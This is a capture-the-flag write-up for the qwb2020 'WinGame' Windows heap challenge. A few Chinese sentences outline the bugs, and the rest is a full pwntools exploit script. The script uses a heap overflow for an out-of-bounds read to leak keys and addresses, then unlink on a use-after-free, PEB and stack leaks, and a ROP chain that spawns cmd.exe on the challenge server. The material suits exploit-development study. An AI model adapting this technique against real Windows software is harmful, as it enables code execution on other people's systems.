0%

qwb2020_WinGame

warm_up里的edit功能存在溢出

利用堆喷将Src字符串对象布置到堆的后面

然后利用溢出控制Src字符串对象里的size成员,即可实现越界读,从而泄露出key和程序基址

有了key以后,即可记录game功能,game功能里存在UAF,利用起来做unlink即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#coding:utf8
from pwn import *


#sh = remote('192.168.232.137',6666)
sh = remote('120.55.89.74',12345)
#sh = remote('192.168.232.145',6666)
context.log_level = 'debug'


def warm_up():
sh.sendlineafter('Command: ', '1')


def go_back():
sh.sendlineafter('Command: ', '6')


def game(secret):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('Secret:',secret)


def add(size, content,line = True):
sh.sendlineafter('Command: ', '1')
sh.sendlineafter('size:', str(size))
if line:
sh.sendlineafter('Note:', content)
else:
sh.sendafter('Note:', content)


def delete(index):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('index:', str(index))


def edit(index, content):
sh.sendlineafter('Command: ', '3')
sh.sendlineafter('index:', str(index))
sh.sendlineafter('note:', content)


def show(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('index:', str(index))


def show_at(index,offset):
sh.sendlineafter('Command: ', '5')
sh.sendlineafter('show?', str(index))
sh.sendlineafter('show:',str(offset))


def encourage(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('get?',str(index))


warm_up()


add(0x100,'a'*0x100) #0
add(0x100,'b'*0x100) #1
add(0x100,'c'*0x100) #2
add(0x100,'d'*0x100) #3


delete(2)
#将encourage1堆喷到chunk2里
for i in range(1):
encourage(1)
#将encourage0堆喷到chunk3里
delete(3)
for i in range(6):
encourage(0)


#利用1修改宽字节对象的size
edit(1,'a'*0x108)
edit(1,'a'*0x108 + p16(0xFFFF))
#泄露key
show_at(1,132)
key = sh.recvuntil('\r\n',drop = True)
show_at(1,133)
key += sh.recvuntil('\r\n',drop = True)
key = u32(key)
print 'key=',hex(key)


#泄露程序的基址前2字节
show_at(1,131)
exe_addr = u32(('\xA0\x47' + sh.recvuntil('\r\n',drop = True)).ljust(4,'\x00'))
exe_base = exe_addr - 0x47A0
print 'exe_base=',hex(exe_base)
go_back()
game(p32(key))




add(0x20,'a'*0x20) #0
add(0x20,'b'*0x20) #1


show(0)
sh.recvuntil('a'*0x20)
#泄露出chunk1的加密的头header
entry_header_4 = u32(sh.recv(4))
entry_cookie = 0x4010005 ^ entry_header_4
print 'entry_cookie=',hex(entry_cookie)


#通过伪造一个能够通过校验的size,从而通过unlink堆堆头合法检查
flag = (entry_cookie >> 0x10) & 0xFF
smallTagIndex = (entry_cookie >> 0x18) & 0xFF
size = flag ^ smallTagIndex ^ ((entry_cookie >> 0x8) & 0xFF) ^ (entry_cookie & 0xFF)
print 'size=',hex(size)
if size > 0xFF:
raise Exception('retry')


add(size,'c'*size) #2
add(0x100,'d'*0x100) #3
add(0x100,'e'*0x100) #4
add(0x100,'f'*0x100) #5
add(0x100,'g'*0x100) #6
add(0x100,'h'*0x100) #7
add(0x100,'h'*0x100) #8
add(0x100,'h'*0x100) #9
add(0x100,'h'*0x100) #10


remain = (size / 8 + 1) * 8 + 0x8 + 0x8
add(remain,'h'*remain)




delete(8)
heap4_ptr_addr = exe_base + 0x64F8
delete(4)
edit(4,p32(heap4_ptr_addr - 0x4) + p32(heap4_ptr_addr))


#unlink
delete(5)


free_iat = exe_base + 0x40BC
edit(4,p32(free_iat) + p32(0x4) + p32(exe_base + 0x4034) + p32(0x4) + p32(heap4_ptr_addr) + p32(0x110) + p32(exe_base + 0x6020) + p32(4))
show(4)
sh.recvuntil('Note:')
ucrtbase_base = u32(sh.recv(4)) - 0x34460
system_addr = ucrtbase_base + 0xEFDA0
print 'ucrtbase_base=',hex(ucrtbase_base)
print 'system_addr=',hex(system_addr)
#修改edit的次数限制
edit(7,p32(0x110))


show(5)
sh.recvuntil('Note:')
ntdll_base = u32(sh.recv(4)) - 0x66e90
ntdll_PebLdr_addr = ntdll_base + 0x120c0c
print 'ntdll_base=',hex(ntdll_base)
print 'ntdll_PebLdr_addr=',hex(ntdll_PebLdr_addr)
raw_input()
edit(6,p32(ntdll_PebLdr_addr))
show(4)
sh.recvuntil('Note:')
Peb_addr = u32(sh.recvuntil('\r\n',drop = True).ljust(4,'\x00')) - 0x21C
print 'Peb_addr=',hex(Peb_addr)
stack_ptr_addr = Peb_addr + 0x3000
edit(6,p32(stack_ptr_addr))
show(4)
sh.recvuntil('Note:')
stack_addr = u32(sh.recvuntil('\r\n',drop = True).ljust(4,'\x00'))
print 'stack_addr=',hex(stack_addr)
rop_addr = stack_addr + 0x128
edit(6,p32(rop_addr) + p32(0x100))
#写rop
edit(4,p32(system_addr) + p32(0) + p32(rop_addr + 0xC) + 'cmd.exe\x00')
#getshell
sh.sendlineafter('Command: ', '5')


sh.interactive()